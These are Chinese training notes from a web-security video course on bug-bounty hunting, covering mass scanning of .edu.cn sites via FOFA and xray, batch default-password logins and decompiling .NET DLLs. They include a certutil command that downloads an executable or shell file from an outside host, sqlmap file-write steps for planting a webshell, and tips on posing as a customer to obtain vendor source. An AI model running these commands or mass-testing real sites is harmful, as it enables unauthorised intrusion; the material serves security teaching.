第86天:SRC挖掘-教育行业平台&规则&批量自动化_笔记
视频链接
【【小迪安全】web安全|渗透测试|网络安全(6个月线上培训全套)】 https://www.bilibili.com/video/BV1JZ4y1c7ro/?p=85\&share_source=copy_web\&vd_source=da4f0ca49865d56af030181e2a971151
一、教育行业平台规则和批量自动化00:22
1. 信息收集

- 主流平台:教育漏洞平台、CNVD漏洞平台、漏洞盒子/补天平台是当前主流的三大漏洞提交平台
- 平台特性:
- 教育平台主要针对学校系统(如大学、学院)
- CNVD注重国家级漏洞证书
- 漏洞盒子/补天提供现金奖励和厂商项目
2. 教育行业平台规则01:44

- 无害化原则:
- 机密性:验证漏洞时不获取/留存用户数据
- 可用性:禁止导致系统瘫痪的大流量扫描
- 完整性:验证时不执行增删改操作
- 评分标准:
- 严重(9-10分):如远程代码执行
- 高危(7-9分):如SQL注入
- 中危(4-7分):如越权访问
- 低危(0-4分):如信息泄露
3. 批量自动化06:17
1)批量提交IP或域名

- 工作流程:
- 目标爬取(教育行业域名特征)
- 服务识别(筛选WEB服务)
- 批量检测(常规扫描+定点检测)
- 结果提交
2)应用案例07:35
- 例题:Windows命令执行漏洞

- 开发要点:
- 参考TimelineSec团队的漏洞复现文档
- 使用Python请求库实现POC验证
- 注意无害化验证原则
- 例题:SQL注入漏洞08:18
- 批量技巧:
- 使用xray等工具自动扫描
- 对.edu.cn域名进行特征识别
- 验证时仅获取数据库版本信息
- 批量技巧:
- 例题:反序列化漏洞08:44
- 检测方法:
- 针对Shiro、Fastjson等常见组件
- 使用公开的检测脚本
- 注意不同版本的利用差异
- 检测方法:
3)定点检测11:18
- 例题:漏洞报告平台规则11:43
- 常规安全15:04

- 目标特征:
- 使用.edu.cn域名后缀
- 全国约2000+教育机构目标
- 可通过平台公开榜单获取目标列表
- 全国高校漏洞15:33
- 数据价值:
- 上海交通大学漏洞最多(1497个)
- 清华大学次之(421个)
- 可作为重点检测目标参考
- 数据价值:
- 爬虫开发16:04

- 实现要点:
- 使用requests+etree解析HTML
- 分页处理(1-193页)
- 结果保存为edu_name.txt
- 利用FOFA搜索16:46

- 搜索技巧:
- 关键词:edu.cn+country="CN"
- 约8万+结果
- 使用API批量获取IP/域名
- 登录后搜索17:24
- 注意事项:
- 需要有效的FOFA账号
- 设置合理的请求间隔
- 使用代理防止封禁
- 注意事项:
- 应用案例19:03
- 例题:漏洞文件下载
- 报告技巧:
- 包含3-5张验证截图
- 详细描述漏洞影响
- 注明验证过程符合无害化原则
- 报告技巧:
- 例题:漏洞文件下载
- 常规安全15:04
4. 单独域名扫描19:54
- 工具选择:
- 常规扫描:Xray+AWVS组合
- 定点检测:自定义Python脚本
- 结果验证:手工复现关键漏洞
二、漏洞扫描与利用20:06
1. Nmap扫描结果分析

- 开放端口:
- 80/tcp: Apache httpd 2.4.46 (Win32)
- 3389/tcp: Microsoft Terminal Services
- 808/tcp: HTTP控制面板
- 操作系统猜测:
- 可能为Windows Server 2008 R2 SP1 (99%置信度)
- 其他可能版本包括Windows 7 SP1、Windows Server 2008等
- 扫描耗时: 98.70秒扫描1个活跃主机
2. 漏洞选择策略

- 选取标准:
- 存在面广: 选择影响范围大的漏洞,如JumpServer RCE
- 时效性: 优先选择最新披露的漏洞(如2021-01-15披露的JumpServer漏洞)
- 验证可用: 必须确认存在公开的PoC(概念验证代码)
- 典型漏洞示例:
- JumpServer远程命令执行(SSV-99093)
- Apache Flink目录遍历(CVE-2020-17518/17519)
- WordPress文件管理器RCE(CVE-2020-25213)
3. 漏洞利用实战要点

- PoC验证:
- 直接在有PoC标记的漏洞页面获取利用代码
- 示例:JumpServer漏洞(888人气值)提供现成利用方案
- 环境适配:
- 注意漏洞适用的具体版本和环境配置
- 对于Windows系统漏洞需特别关注补丁情况
4. 漏洞平台使用技巧

- 高效检索:
- 使用"has_poc=true"筛选条件快速定位可验证漏洞
- 按时间排序查看最新漏洞(如2021-01-19更新的锐网络EWEB漏洞)
- 信息验证:
- 交叉参考漏洞人气值(如3547)和评论数量判断可靠性
- 优先选择企业白帽子提交的漏洞报告(如补天平台收录)
三、漏洞信息收集20:49
1. 公开漏洞

- 漏洞特征:公开漏洞中部分漏洞没有POC(概念验证代码),需要筛选有POC的漏洞进行测试
- 筛选方法:在Seebug平台可通过"有POC"筛选条件快速定位可利用漏洞
2. 有POC的漏洞21:01

- 验证流程:
- 点击漏洞详情查看POC代码
- 通常为Python验证脚本
- 可根据开发知识将POC改造成批量检测工具
- 实例:JumpServer远程命令执行漏洞(SSV-99103)提供完整Python验证脚本
3. 信息筛选21:23
1)例题:校园网站漏洞

- 筛选技巧:
- 使用edu.cn限定教育行业目标
- 结合jumpserver等组件关键词
- 示例语法:domain="edu.cn" && jumpserver
2)例题:jumpserver最新RCE复现22:06

- 资源获取:
- 通过搜索引擎查找最新漏洞复现文章
- 参考他人已公开的测试环境搭建方法
- 注意文章发布时间确保信息时效性
3)例题:漏洞测试过程22:33

- 批量检测:
- 使用xray等工具进行自动化扫描
- 配置代理防止IP被封禁
- 示例命中CNVD漏洞(教育行业常见漏洞)
4. 信息筛选结果22:51

- 目标选择:
- 参考漏洞平台高校排名
- 重点关注漏洞威胁值高的单位
- 南开大学、广东省教育厅等常居前列
5. 常规安全23:16
- 检测范围:
- AWVS常规扫描
- Shiro反序列化
- Fastjson反序列化
- ThinkPHP代码执行
6. 教育行业漏洞报告平台23:31

- 漏洞类型分布:
- 代码执行(高危)
- 垂直越权(中危)
- 弱口令(中危)
- 信息泄露(低危)
7. 默认口令23:56

- 资源使用:
- DefaultCreds-cheat-sheet项目
- 包含3000+系统默认凭证
- 格式为CSV方便批量测试
- 测试重点:
- Weblogic(常用中间件)
- Tomcat管理后台
- 路由器设备
8. 应用案例24:49
1)例题:网站漏洞信息

- 企业SRC特点:
- 目标明确(单个企业)
- 奖金较高(最高¥6000)
- 需人工深度测试
2)例题:xray命令行25:51

- 配置要点:
- 设置合理并发数
- 添加代理配置
- 使用-html-output生成报告
9. 思路总结26:27
- 批量挖掘流程:
- FOFA收集目标(50万+域名)
- xray批量扫描(万分之一命中率)
- 人工验证漏洞真实性
- 提交漏洞平台
10. 补天网情况27:52

- 项目特点:
- 专属SRC(长期有效)
- 企业定制化需求
- 需关注最新项目公告
11. CNCVD情况28:31

- 证书获取:
- 需提交原创高危漏洞
- 关注年度工作会议动态
- 研究热点漏洞公告
四、结束30:13
五、知识小结
| 知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 |
| 漏洞平台分类 | 介绍教育行业漏洞平台(如教育漏洞报告平台、CNVD、补天、漏洞盒子)的特点及适用场景 | 补天/漏洞盒子以现金奖励为主,教育平台/CNVD更注重证书和排名 | ⭐⭐ |
| 批量漏洞挖掘思路 | 1. 信息收集:爬取目标域名(如.edu.cn) 2. 常规扫描:使用工具(Xray、AWVS)批量检测 3. 定向检测:基于最新漏洞POC开发批量脚本 | 经典检测需结合漏洞复现文章开发脚本,常规扫描工具命中率较低 | ⭐⭐⭐⭐ |
| 法律法规与提交规范 | 1. 仅验证漏洞存在性,避免数据泄露 2. 漏洞描述需详细(图文结合) 3. 同一漏洞不可重复提交多个平台 | 漏洞评分受文字表达能力影响(如将中危漏洞描述为高危可能提升评级) | ⭐⭐ |
| 实战工具与资源 | 1. 爬虫脚本:爬取教育平台历史漏洞目标/FoFa搜索.edu.cn 2. 漏洞复现库:参考2020年漏洞复现项目开发检测脚本 3. 默认口令库:3000+常见平台弱口令CSV文件 | FoFa会员限制可通过绕过脚本解决,批量扫描需服务器支持 | ⭐⭐⭐ |
| 平台差异化策略 | 1. 教育平台:范围广(所有教育行业目标) 2. 补天/漏洞盒子:针对厂商项目,范围小但奖励高 3. CNVD:需高影响力漏洞获取证书 | 教育平台适合批量自动化,厂商项目需人工深度测试 | ⭐⭐⭐ |
| 漏洞案例示范 | 1. 江苏Server漏洞:通过FoFa筛选目标+批量POC检测 2. 弱口令漏洞:使用默认口令库批量测试 | 最新漏洞需优先检测(如Apache Log4j),老漏洞命中率低 | ⭐⭐⭐⭐ |
【【小迪安全】web安全|渗透测试|网络安全(6个月线上培训全套)】 https://www.bilibili.com/video/BV1JZ4y1c7ro/?p=86\&share_source=copy_web\&vd_source=da4f0ca49865d56af030181e2a971151
第87天:SRC挖掘-CNVD证书平台挖掘技巧修君分享_笔记
一、拿到系统源码00:01
1. 更深层次利用00:25

- 获取方式:
- 通过其他端口漏洞获取shell后下载源码
- 通过社会工程学联系厂商获取demo环境
- 配置文件检查:
- 第一时间查找web.config文件
- 检查数据库连接字符串等敏感配置
- 利用方法:
- 通过源码分析寻找其他漏洞
- 查找可能存在的getshell漏洞
- 分析历史版本漏洞

- 文件上传技巧:
- 使用SQLmap的-file-write功能上传文件
- 示例:sqlmap -file-write C:\Users\test\Desktop\1.txt -file-dest D:\1.bat
- 在os-shell中执行上传的bat文件
- 扩展利用:
- 可用于写入webshell
- 可上传自动化脚本实现持久化控制
二、寻找单点登录通用系统01:16
1. 目标收集01:43

- 定义:
- 互联网上有100+IP部署的同一系统
- 分类:
- 开源系统:代码公开可获取
- 闭源系统:厂商内部开发使用
- 售卖系统:商业化的闭源系统
- 测试特点:
- 闭源系统只能进行黑盒测试
- 单点登录系统测试点较少

- 初始收集方法:
- FOFA搜索语法示例:
- 方法缺陷:
- 搜索结果杂乱效率低
- 重复漏洞可能性大
- 包含大量非目标系统
2. 收集目标02:33

- 改进方法:
- 通过JavaScript库特征搜索
- 示例搜索语法:
- 优势:
- 更精准定位单点登录系统
- 减少无关系统干扰
- 提高漏洞挖掘效率

- 库特征收集方法:
- 打开目标系统查看源代码
- 识别使用的JavaScript库
- 将库特征加入FOFA搜索语法
- 实用技巧:
- 关注jQuery等常见库的特定版本
- 收集多个特征库扩大搜索范围
- 结合国家地区限定提高精准度

- 搜索结果:
- 任我行CRM系统
- 蓝海卓越计费管理系统
- 其他各类单点登录系统
- 验证方法:
- 检查系统登录页面特征
- 确认系统部署规模
- 验证系统功能一致性
三、单点登录系统未授权漏洞挖掘05:03

- 平台选择:主要针对.NET平台系统,Java开发的系统由于防护较强较难利用
- 爆破策略:遇到登录框时优先使用Burp爆破弱口令(如admin/admin),通用系统常存在管理疏忽
- 抓包技巧:需注意登录过程中的多数据包交互,验证成功后常通过AJAX发送后续数据包
1. 应用案例05:46
1)例题:通用系统弱口令登录

- 漏洞特征:成功爆破后(如admin/admin),系统会通过JS执行AJAX发送数据刷新包
- 高危位置:第二个数据包常存在未授权漏洞,曾多次发现SQL注入漏洞
- 测试方法:使用单引号测试报错,确认存在数据库报错后实施延迟注入
- 漏洞价值:此类前台漏洞在补天平台价值300元/个
2. 应用案例09:11
1)例题:弱口令之后审查元素发现js文件并利用

- 信息收集:右键审查元素查看JS文件,寻找接口或注释中的暗链
- 爆破技巧:当JS分析无果时,可爆破JS路径发现隐藏文件
- 漏洞利用:在发现的JS文件中找到AJAX缓存接口(如.../Handler/UserCodeName.ashx)
- 注入特征:ashx扩展名的接口90%存在未授权漏洞,可通过构造报错payload验证
- 提权方法:利用注入点写文件拿shell,最终通过反编译dll进行白盒测试

- 编码问题:中文路径需注意GBK编码转换,避免echo写shell时乱码
- 解决方案:
- 使用certutil.exe下载远程文件:certutil -urlcache -split -f http://xss.xiu09.cn/1.exe
- 利用sqlmap自带上传功能(兼容性更好)
- 完整流程:单个系统曾挖出20+前台漏洞,包括注入、getshell、信息泄露等
四、拿到源码后的利用13:47
1. 利用中文路径无法用echo写shell问题

- 问题现象:在MSSQL数据库中使用echo写shell时,中文路径会因UTF8转GBK编码导致乱码,例如路径"E:\项目资料\E7HRBLL\Report\KaoQin\1.asp"无法正常写入
- 根本原因:sqlmap默认将路径进行UTF8的hex编码后传入GBK编码的MSSQL数据库执行
- 解决方案1:
- certutil下载:使用certutil -urlcache -split -f http://xss.xiu09.cn/1.txt D:\1.asp直接下载shell文件
- 适用场景:简单直接的下载方式,但兼容性可能存在问题
- 解决方案2(推荐):
- GBK编码准备:先在本地创建GBK编码的txt文件,内容为echo写马命令
- sqlmap上传:执行sqlmap -file-write C:\Users\xiu\Desktop\1.txt -file-dest D:\1.bat
- 自动执行:在os-shell中运行1.bat即可将shell写入目标路径
- 优势:利用sqlmap自带上传功能,兼容性更好
2. 通过其他端口获取源码的利用方法

- 发现途径:当主端口无法突破时,可通过FOFA搜索同一系统的其他开放端口
- 利用方法1:
- 漏洞利用:在其他端口寻找漏洞获取shell后下载源码
- 典型案例:通过注入点写文件->获取shell->反编译dll进行白盒渗透
- 利用方法2:
- 社工技巧:伪装成潜在客户联系厂商获取demo环境
- 操作要点:声称公司需要测试系统以决定是否购买,通常厂商会提供测试账号
- 实际效果:获取完整系统环境后更容易发现漏洞
3. 源码分析技巧

- 首要目标:立即查找web.config配置文件
- 关键信息:数据库连接字符串、敏感配置参数等
- 文件特征:重点关注.asmx结尾的文件
- 文件作用:.asmx是ASP.NET Web服务文件,常包含业务逻辑接口
- 渗透路径:通过配置文件泄露的凭证或接口漏洞进一步渗透
- 后续利用:获取shell后可通过反编译技术深入分析系统漏洞
五、拿到源码后的操作流程
1. 配置文件web.config分析16:18

- 首要检查项:获取源码后应立即检查web.config文件
- 关键信息:
- 数据库连接信息:包含数据库账号密码等敏感数据
- 接口配置:大部分系统会将接口信息写入配置文件
- 服务引用:常见如.asmx结尾的Web服务引用配置
- 典型结构:
2. ASMX文件分析

- 文件特征:
- 扩展名:.asmx是.NET的Web服务文件扩展名
- 通信方式:采用SOAP协议通过HTTP访问,XML格式返回数据
- 数据类型:可返回基础类型和PUBLIC结构类型
- 查找方法:
- 通过web.config配置文件追踪
- 直接在源码中搜索.asmx后缀文件
- 安全风险:
- 默认命名空间http://tempuri.org/可能暴露服务结构
- 每个WebService有独立命名空间用于应用程序区分
3. ASHX文件反编译技术18:08
1)文件特征分析

- 基本特性:
- .ashx是ASPX的组件之一,属于.NET扩展名
- 可理解为各种方法的集合(如上传、查询等)
- 常见命名模式:Upload.ashx、StatQuery.ashx等
- 安全关注点:
- 上传接口如upload.ashx可能存在未限制的功能
- 可通过文件名推测功能(如autoComplete可能关联自动补全)
2)反编译实战

- 操作步骤:
- 通过Class类定位对应DLL文件
- 使用dnSpy工具进行反编译
- 分析未被前端调用的隐藏方法
- 典型发现:
- 程序员可能编写30+方法但仅调用少数几个
- 存在测试阶段遗留的未修复方法(如无后缀限制的上传)
- 漏洞利用:
- 任意文件删除:通过action=deleteBackground&name=文件路径调用
- 未授权上传:找到未限制后缀的upload方法直接构造请求
3)方法调用技巧

- 调用机制:
- 通过action参数指定要调用的方法名
- 示例:upload.ashx?action=deleteBackground
- 参数构造:
- 文件操作需附加路径参数:&name=D:/path/file.txt
- 上传接口需要构造multipart表单数据
- 开发模式分析:
- 常见先编写多个测试方法(含漏洞)
- 最终仅部署一个经过安全处理的方法(如限制jpg上传)
4. SOAP接口安全测试

- 高危漏洞:
- 注入漏洞:80%概率可通过sqlmap检测出SQL注入
- 信息泄露:可能暴露敏感数据或系统结构
- 未授权访问:部分方法可能缺少权限校验
- 测试方法:
- 直接使用sqlmap扫描SOAP端点
- 使用AWVS等工具自动化检测
- 手动分析WSDL文件定位敏感操作
5. 反编译工具使用
- 推荐工具:
- dnSpy:开源.NET反编译工具
- ILSpy:支持代码生成和语法高亮
- 操作要点:
- 直接拖拽DLL文件到工具界面
- 重点关注HttpHandler实现类
- 搜索action参数处理方法
- 学习资源:
六、通用漏洞挖掘思路24:51
1. 通用漏洞挖掘思路25:23

- 组合利用:将多个小漏洞组合利用可以发现更严重的安全问题
- 目录遍历:通过目录遍历可以查找系统内部接口和配置文件
- 爆破技巧:使用御剑等工具爆破js路径和文件名是常用手段
2. 单点登录系统的未授权漏洞挖掘25:55

- 平台特点:大多数单点登录系统采用.NET或Java开发
- 爆破策略:优先尝试admin/admin等弱口令组合
- 抓包注意:登录成功后可能会有多个数据包用于刷新页面数据
- SOAP测试:发现SOAP接口可直接用sqlmap测试注入,成功率约80%
3. 通过其他端口获取源码27:48

- 端口扫描:通过FOFA搜索目标系统的其他开放端口
- 社工技巧:伪装成潜在客户向厂商索要demo环境
- 文件上传:利用sqlmap的-file-write参数上传文件
- 源码分析:优先查找web.config等配置文件
4. 目录遍历与接口查找29:33

- 查找方法:
- 第一步:爆破js文件路径
- 第二步:检查是否存在目录遍历漏洞
- 接口发现:通过目录遍历查找SOAP接口和未公开的方法
- 文件特征:重点关注.asmx和.ashx结尾的文件
5. WEB服务文件识别29:58

- asmx文件:WEB服务文件,包含相关代码
- 访问方式:使用SOAP协议通过HTTP访问,返回XML格式数据
- 测试方法:发现SOAP接口可直接用sqlmap测试注入漏洞
- 组件识别:ashx是aspx的组件之一,也是.NET的扩展名
6. 源码分析策略30:54

- 优先检查:第一时间查找web.config配置文件
- 反编译利用:将dll文件拖到dnspy反编译查找隐藏方法
- 未使用接口:程序员可能只调用了部分方法,未使用的接口可能存在漏洞
- 上传漏洞:通过反编译可能发现未做拦截的文件上传接口
七、知识小结
| 知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 |
| 通用系统漏洞挖掘 | 通过源码或闭源系统挖掘漏洞(如SQL注入、未授权访问) | 闭源系统更易挖掘(厂商未修复公开漏洞) | ⭐⭐⭐ |
| 单点登录系统收集方法 | 使用JavaScript库特征或简单语法(如玻璃技术支持)搜索目标系统 | 低效语法易混杂非目标系统(如悟空CRM) | ⭐⭐ |
| 未授权漏洞利用 | 爆破默认口令(如admin/admin)或拦截登录后数据包(如Ajax接口注入) | 补天平台仅收前台漏洞(需绕过登录验证) | ⭐⭐⭐⭐ |
| 源码反编译技巧 | 通过.ashx/.asmx文件反编译(如dnSpy工具)挖掘隐藏接口(上传/删除功能) | 中文路径需GBK编码处理(否则写入Shell失败) | ⭐⭐⭐⭐ |
| SOAP接口漏洞 | 直接扫描.asmx文件(常见SQL注入/上传漏洞)或通过web.config定位接口 | 90%未授权(可被AWVS自动化扫描) | ⭐⭐⭐ |
| JS目录爆破 | 爆破JS文件路径发现隐藏接口(如upload.ashx) | 需自定义字典(通用字典效率低) | ⭐⭐⭐ |
| 中文路径解决方案 | 通过GBK编码TXT文件上传或利用系统自带功能绕过限制 | 推荐map上传兼容性更好 | ⭐⭐⭐⭐ |
| 厂商源码获取 | 伪装客户索要测试环境(内部系统漏洞率高)或通过其他端口渗透 | 需社会工程学配合 | ⭐⭐⭐⭐ |
【【小迪安全】web安全|渗透测试|网络安全(6个月线上培训全套)】 https://www.bilibili.com/video/BV1JZ4y1c7ro/?p=87\&share_source=copy_web\&vd_source=da4f0ca49865d56af030181e2a971151
第88天:SRC挖掘-拿下CNVD证书开源&闭源&售卖系统_笔记
一、通用型漏洞06:38
1. 三类系统分类06:40
-

-
开源系统:源码公开可下载,典型如GitHub上的CMS项目
-
闭源系统:源码可能加密或无法获取,需通过
FOFA\mathrm{FOFA}FOFA
等引擎搜索
-
售卖系统:需通过社工套路或购买获取源码
2. 安全测试方法07:54
1)测试策略差异
- 源码获取情况:
- 有源码:采用白盒测试,直接进行代码审计
- 无源码:采用黑盒测试,包括JS接口分析等技术
- 特殊技巧:
- 通过JS文件寻找测试接口
- 利用试用版系统进行突破
2)系统测试难度梯度

- JAVA系统:难度最大,开发起点高
- PHP/SPX系统:推荐新手选择,因为:
- PHP代码清晰易读
- 前期学习案例丰富
- 项目数量相对较多
3. 实战技巧10:01
- 快速入门建议:
- 优先选择PHP项目练手
- 从GitHub等源码站下载开源系统
- 对闭源系统尝试获取源码,失败则转黑盒测试
- 关键指标:
- 目标系统需有100+IP部署量
- CNVD证书要求系统具有广泛使用性
4. 核心知识点总结
- 源码审计优势:能深度分析算法逻辑和安全机制
- 黑盒测试要点:
- 常规漏洞扫描
- JS接口探测
- 三方组件分析
- 经济因素考量:部分售卖系统可能需要购买授权才能获取测试权限
5. 应用案例11:36
1)例题:开源逻辑审计配合引擎实现通用
- 系统分类与测试方法

- 开源系统:
- 获取方式:从各大源码站下载代码
- 测试方法:直接进行代码审计
- 特点:代码可见,适合白盒测试
- 闭源系统:
- 获取方式:通过Fofa等搜索引擎尝试获取源码
- 测试方法:源码审计或黑盒测试
- 特点:代码不可见,需结合多种测试手段
- 售卖系统:
- 获取方式:通过社工手段获取源码或直接购买
- 测试方法:源码审计或黑盒测试
- 特点:获取成本较高,但测试效果较好
- 测试技巧

- 语言选择:
- Java项目难度最大
- Python项目较少
- PHP和ASPX项目相对简单
- 其中PHP代码清晰明了,适合初学者
- 无源码测试:
- 常规安全测试外
- 可通过JS文件寻找测试接口
- 重点关注JS中的API调用和参数传递
- 案例演示:DM企业建站系统

- 系统信息:
- 名称:DM企业建站系统2021.0125版
- 发布时间:2021年1月25日
- 下载量:2万+
- 安装过程:
- 创建数据库
- 导入SQL文件
- 修改配置文件
- 无管理员密码设置环节
- 默认凭证:
- 用户名:admin
- 密码:admin123
- 漏洞挖掘过程

- 影响面验证:
- 使用Fofa搜索后台特征
- 发现178个匹配结果
- 确认系统部署量超过100+
- 逻辑漏洞:
- 安装过程未强制修改默认密码
- 管理员未主动修改密码导致安全隐患
- 可通过默认凭证批量登录系统后台
- 测试方法:
- 使用Python脚本批量验证
- 结合Fofa搜索结果进行自动化测试
- 重点关注未修改默认密码的系统
- 安装过程安全问题

- 数据库配置:
- 配置文件路径:component/dm-config/database.php
- 可直接编辑该文件完成配置
- 包含数据库服务器地址、名称、用户名和密码
- 安全隐患:
- 安装过程未提示修改管理员密码
- 密码硬编码在导入的SQL文件中
- 缺乏密码复杂度要求
- 漏洞验证

- 验证步骤:
- 通过Fofa搜索特定后台路径
- 获取目标系统列表
- 尝试使用默认凭证登录
- 记录成功登录的系统
- 自动化工具:
- 使用Python编写爬虫获取Fofa结果
- 开发批量验证脚本
- 结合多线程提高测试效率
- 漏洞影响

- 影响范围:
- 中国167个系统
- 日本2个系统
- 美国2个系统
- 越南1个系统
- 风险等级:
- 中高危漏洞
- 可导致后台完全控制
- 影响面广但修复简单
2)快速获取目标并测试22:44
- FOFA搜索技巧

- 关键词修改:将搜索关键词改为"admindm-yourname" && country="CN",可获取国内使用该系统的目标
- 结果提取:通过脚本提取搜索结果并请求20页数据,保存到dmcms.txt文件中
- 会员状态:需要保持会员登录状态才能获取完整结果,需携带有效cookie
- 目标收集与保存

- 文件保存:将收集到的目标IP保存到dmcms.txt文件中
- 脚本功能:
- 使用xpath解析页面获取结果
- 每页结果用换行符连接
- 追加写入文件避免覆盖
- 添加异常处理防止中断
- 批量登录测试

- 测试原理:
- 使用requests.post发送登录请求
- 默认测试账号:admin/admin123
- 通过返回内容判断是否登录成功
- 结果判断:
- 返回内容包含"sorry"表示失败
- 否则标记为成功(ok)
- 异常处理:
- 捕获所有异常防止中断
- 失败后延迟1秒继续测试
- 关键词扩展技巧

- JS文件搜索:
- 通过body中包含特定JS文件搜索目标
- 如"DM-static/assets/jquery.js"
- 可获取更多结果(300+)
- 搜索策略:
- 不同关键词组合可获取不同结果集
- 可结合百度等其他搜索引擎
- 注意版本差异导致的漏洞不同
- 漏洞验证思路

- 验证方法:
- 直接访问后台测试默认凭证
- 查看返回内容判断漏洞存在性
- 使用BurpSuite抓包分析
- 注意事项:
- 不同版本可能存在差异
- 需验证是否为演示站点
- 注意法律风险,点到为止
3)例题:逻辑测试漏洞挖掘33:36
- 漏洞挖掘基本思路

- 前期准备:使用前期学过的字典,将系统源码载入项目进行自动分析
- 审计工具:通过工具自动审计分析源码,人工辅助进行漏洞验证
- 核心原则:优先挖掘高危漏洞,关注漏洞产生条件
- 漏洞挖掘技巧
- 目录选择:
- 避免后台目录:如admin目录下的漏洞通常需要后台权限,利用价值较低
- 优先公共目录:选择非后台目录文件进行审计,如block目录等公共可访问区域
- 漏洞类型优先级:
- SQL注入:优先挖掘SQL注入漏洞,因其危害性大
- 文件上传:次选文件上传漏洞,需关注过滤机制
- 审计方法:
- 变量追踪:对关键变量(如IP变量)进行完整调用链分析
- 函数定位:对不熟悉的函数使用"定位函数"功能查看实现逻辑
- 过滤分析:仔细分析过滤函数,判断是否影响目标漏洞类型
- 目录选择:
- 实战案例分析
- 漏洞发现过程:
- 发现IP变量通过HTTP头部X-Forwarded-For获取
- 追踪getIP()函数发现仅过滤XSS字符(如.../),未过滤SQL注入字符
- IP变量直接拼接SQL语句执行,存在注入风险
- 技术要点:
- 注入点:HTTP头部X-Forwarded-For参数
- 过滤缺陷:getIP()函数仅过滤.../等XSS字符,未过滤SQL元字符
- 执行流程:IP变量→getIP()→SQL语句拼接→直接执行
- 注意事项:
- 不要随意提交未授权漏洞
- 漏洞挖掘需遵守法律法规
- 高危漏洞需谨慎验证
- 漏洞发现过程:
4)例题:逻辑测试漏洞分析41:00
- 漏洞提交流程分析

- 漏洞时效性验证:通过对比他人提交的漏洞时间(2020年4月8日)与当前时间(2021年),确认该漏洞仍可提交
- 版本确认要点:需特别注意漏洞对应的软件版本号(2020年1月22日版本)
- 证书获取条件:成功提交有效漏洞后即可获得CNVD证书
- 代码审计关键点

- 过滤函数分析:
- 定位到getIP函数存在过滤机制
- 仅过滤XSS语句,未过滤其他危险字符
- 漏洞组合利用:建议将发现的多个漏洞点组合分析后提交
- 语言组织技巧:提交时需要清晰描述漏洞原理和复现步骤
5)例题:没有源码时漏洞分析42:54
- 开源程序测试方法

- 测试思路:
- 基于获取的源码进行白盒测试
- 重点检查逻辑设计缺陷(如安装逻辑错误)
- 影响评估:需注意漏洞影响范围,过大时需谨慎测试
- 成功率估算:在10个潜在漏洞中成功挖掘1个即可满足证书要求
- 无源码情况应对策略

- 源码获取途径:
- 参考2021年第五次课的表单源码线路方法
- 尝试通过非常规手段获取程序源码
- 反编译技术:
- 适用于JAVA/.NET程序
- 可通过编译后的class/jar文件进行逆向
- 黑盒测试重点:
- 功能逻辑测试
- 输入验证测试
- 会话管理测试
6)例题:没有源码时漏洞分析45:08
- ASP.NET源码获取与分析

- 源码获取渠道:可通过站长之家等平台下载ASP.NET开源系统源码,如HDHCMS等CMS系统
- 典型系统架构:
- 采用三层结构开发
- 全静态页面有利于SEO优化
- 后台管理功能强大
- 支持主站网址更换
- DLL文件反编译技术

- 核心原理:
- 部分源码被封装在DLL库文件中
- 即使获取主源码,关键逻辑可能仍在DLL中
- 需要将DLL文件导入反编译工具查看真实代码
- 操作步骤:
- 定位bin目录下的DLL文件
- 使用反编译工具打开
- 分析反编译后的代码逻辑
- 反编译工具使用演示

- 工具选择:
- .NET平台推荐使用dnSpy等工具
- Java平台可使用IDEA反编译jar包
- 分析要点:
- 查看类和方法定义
- 跟踪关键业务逻辑
- 寻找可能的漏洞点
- 数据库中文路径问题解决方案

- 常见问题:
- MSSQL数据库中文路径导致echo写shell失败
- 路径UTF8编码与数据库GBK编码冲突
- 解决方案:
- 使用certutil.exe下载文件
- 示例命令:certutil -urlcache -split -f http://xss.xiu09.cn/1.txt D:/1.asp
- 避免直接使用echo写入中文路径
- 反编译代码分析技巧

- 分析方法:
- 通过反编译获取近似源代码
- 重点关注敏感函数调用
- 检查输入验证逻辑
- 追踪数据库操作语句
- 注意事项:
- 反编译代码可能与原代码有差异
- 需要结合动态调试验证分析结果
- 注意混淆代码的特殊处理
- 跨平台反编译思路

- 技术共性:
- .NET的DLL与Java的JAR/WAR包原理类似
- 都需要专用工具进行反编译
- 工具对比:
- .NET:dnSpy、ILSpy
- Java:JD-GUI、IDEA内置反编译器
- Android:apktool、jadx
二、课程介绍49:13
三、分析漏洞49:27
1. 源码分析技术

- 开发语言特征:JAVA开发系统常将核心部分封装到dll或jar文件中
- 反编译工具:使用dnSpy等工具对编译文件进行反编译分析
- 分析重点:重点关注未调用的接口方法,如示例中upload.ashx的30多个方法里,未拦截的文件上传/删除接口可能存在漏洞
2. 无源码测试方案

- 三种测试场景:
- 获取源码直接分析(最优情况)
- 获取编译文件反编译分析(次优方案)
- 完全无源码的JS接口测试(最后手段)
- JS测试工具:推荐使用jsfiddle工具进行接口数据模拟提交测试
四、搜索网站系统51:03
1. 系统分类与测试方法

- 系统分类:
- 开源系统:源码站直接下载审计(如PHP、ASPX项目)
- 闭源系统:通过Fofa等引擎搜索尝试获取源码
- 商业系统:需通过社工或购买方式获取源码
- 技术选型建议:
- PHP代码最清晰易审计(推荐新手)
- ASPX需反编译后审计
- JAVA项目难度最大
2. 实战搜索技巧

- 关键词组合:使用"源码+系统类型"进行搜索(如"网校系统源码")
- 专业平台:
- GitHub托管开源代码
- 站长之家等专业源码站提供ASP/PHP/.NET源码
- 真源码平台提供行业专项系统
3. FOFA高级搜索

- 语法示例:
- app="网校登录系统" 定位特定系统
- icp="备案号" 筛选国内系统
- body="jquery.js" 识别前端框架
- 企业级功能:专业版支持图标识别、批量导出等高级功能
五、无源码下js接口的数据提交测试51:39
1. 测试案例53:21

- 工具原理:基于爬虫技术,通过分析网页加载的JS资源文件来发现隐藏接口地址。当访问网站时,会加载相关JS文件,这些文件中可能包含与后端交互的接口地址。
- 典型发现:可以找到常规扫描工具无法发现的接口地址,特别是带有参数的接口(如https://123.57.65.252/CourseManagement?from=MainLessonManagement)
- 工具特点:
- 能发现ThinkPHP等开发框架特征(如案例中发现的ThinkPHP V5.0.24)
- 结果可能存在误报或不完整,需要手工验证
- 可配合其他工具(如get js)使用提高覆盖率

- 测试流程:
- 输入目标地址运行JSFinder
- 分析输出的URL列表
- 手工访问验证接口有效性
- 对有效接口进行安全测试
- 典型案例:
- 发现教育系统后台管理接口(如课程管理、用户管理等)
- 识别出ThinkPHP框架特征后,可针对性测试已知漏洞
- 发现静态资源目录(如/static/)可能包含敏感信息

- 技术要点:
- JS代码可能包含Ajax请求地址(如student/StudentPayMiddle/index.html?studentid=)
- 资源文件(如.js、.png)路径可能泄露目录结构
- 通过分析JS中的网络请求可以还原API调用逻辑
